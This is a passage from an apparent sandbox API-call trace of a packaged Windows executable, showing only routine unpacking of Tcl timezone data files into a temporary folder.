lpLocalTime=0x4f8cf0) returned 1 [0038.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.846] CloseHandle (hObject=0x10c) returned 1 [0038.846] GetLastError () returned 0x0 [0038.846] SetLastError (dwErrCode=0x0) [0038.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk") returned 75 [0038.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\grand_turk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.846] GetLastError () returned 0x2 [0038.846] SetLastError (dwErrCode=0x2) [0038.846] GetLastError () returned 0x2 [0038.846] SetLastError (dwErrCode=0x2) [0038.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk", lpFilePart=0x0) returned 0x4a [0038.846] GetLastError () returned 0x2 [0038.846] SetLastError (dwErrCode=0x2) [0038.846] GetLastError () returned 0x2 [0038.846] SetLastError (dwErrCode=0x2) [0038.846] GetLastError () returned 0x2 [0038.846] SetLastError (dwErrCode=0x2) [0038.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk") returned 75 [0038.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grand_Turk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\grand_turk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.847] GetFileType (hFile=0x10c) returned 0x1 [0038.847] htonl (hostlong=0xe61c0000) returned 0x1ce6 [0038.847] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.848] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xce6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xce6, lpOverlapped=0x0) returned 1 [0038.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.848] CloseHandle (hObject=0x10c) returned 1 [0038.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.849] htonl (hostlong=0x30000000) returned 0x30 [0038.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.850] GetFileType (hFile=0x10c) returned 0x1 [0038.850] htonl (hostlong=0x8f1a5900) returned 0x591a8f [0038.850] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dca8f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.850] htonl (hostlong=0x8c000000) returned 0x8c [0038.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0038.850] htonl (hostlong=0x8c000000) returned 0x8c [0038.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.850] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.850] htonl (hostlong=0x95000000) returned 0x95 [0038.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x550600 [0038.851] htonl (hostlong=0x8c000000) returned 0x8c [0038.851] htonl (hostlong=0x95000000) returned 0x95 [0038.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.851] CloseHandle (hObject=0x10c) returned 1 [0038.851] GetLastError () returned 0x0 [0038.851] SetLastError (dwErrCode=0x0) [0038.851] GetLastError () returned 0x0 [0038.851] SetLastError (dwErrCode=0x0) [0038.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.851] GetFileType (hFile=0x10c) returned 0x1 [0038.851] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.851] CloseHandle (hObject=0x10c) returned 1 [0038.852] GetLastError () returned 0x0 [0038.852] SetLastError (dwErrCode=0x0) [0038.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.852] GetFileType (hFile=0x10c) returned 0x1 [0038.852] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.852] CloseHandle (hObject=0x10c) returned 1 [0038.852] GetLastError () returned 0x0 [0038.852] SetLastError (dwErrCode=0x0) [0038.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.852] GetFileType (hFile=0x10c) returned 0x1 [0038.852] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.853] CloseHandle (hObject=0x10c) returned 1 [0038.853] GetLastError () returned 0x0 [0038.853] SetLastError (dwErrCode=0x0) [0038.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada") returned 72 [0038.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\grenada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.853] GetLastError () returned 0x2 [0038.853] SetLastError (dwErrCode=0x2) [0038.853] GetLastError () returned 0x2 [0038.853] SetLastError (dwErrCode=0x2) [0038.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada", lpFilePart=0x0) returned 0x47 [0038.853] GetLastError () returned 0x2 [0038.853] SetLastError (dwErrCode=0x2) [0038.853] GetLastError () returned 0x2 [0038.853] SetLastError (dwErrCode=0x2) [0038.853] GetLastError () returned 0x2 [0038.853] SetLastError (dwErrCode=0x2) [0038.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada") returned 72 [0038.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Grenada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\grenada"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.854] GetFileType (hFile=0x10c) returned 0x1 [0038.854] htonl (hostlong=0x95000000) returned 0x95 [0038.854] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.854] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x95, lpOverlapped=0x0) returned 1 [0038.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.855] CloseHandle (hObject=0x10c) returned 1 [0038.856] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.856] htonl (hostlong=0x30000000) returned 0x30 [0038.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.856] GetFileType (hFile=0x10c) returned 0x1 [0038.856] htonl (hostlong=0x1b1b5900) returned 0x591b1b [0038.856] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dcb1b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.856] htonl (hostlong=0x8f000000) returned 0x8f [0038.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0038.856] htonl (hostlong=0x8f000000) returned 0x8f [0038.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.856] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.856] htonl (hostlong=0x98000000) returned 0x98 [0038.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x550600 [0038.856] htonl (hostlong=0x8f000000) returned 0x8f [0038.856] htonl (hostlong=0x98000000) returned 0x98 [0038.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.857] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.857] CloseHandle (hObject=0x10c) returned 1 [0038.857] GetLastError () returned 0x0 [0038.857] SetLastError (dwErrCode=0x0) [0038.857] GetLastError () returned 0x0 [0038.857] SetLastError (dwErrCode=0x0) [0038.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.857] GetFileType (hFile=0x10c) returned 0x1 [0038.857] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.857] CloseHandle (hObject=0x10c) returned 1 [0038.857] GetLastError () returned 0x0 [0038.857] SetLastError (dwErrCode=0x0) [0038.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.858] GetFileType (hFile=0x10c) returned 0x1 [0038.858] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.858] CloseHandle (hObject=0x10c) returned 1 [0038.858] GetLastError () returned 0x0 [0038.858] SetLastError (dwErrCode=0x0) [0038.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.858] GetFileType (hFile=0x10c) returned 0x1 [0038.858] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.859] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.859] CloseHandle (hObject=0x10c) returned 1 [0038.859] GetLastError () returned 0x0 [0038.859] SetLastError (dwErrCode=0x0) [0038.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe") returned 75 [0038.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guadeloupe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guadeloupe"), 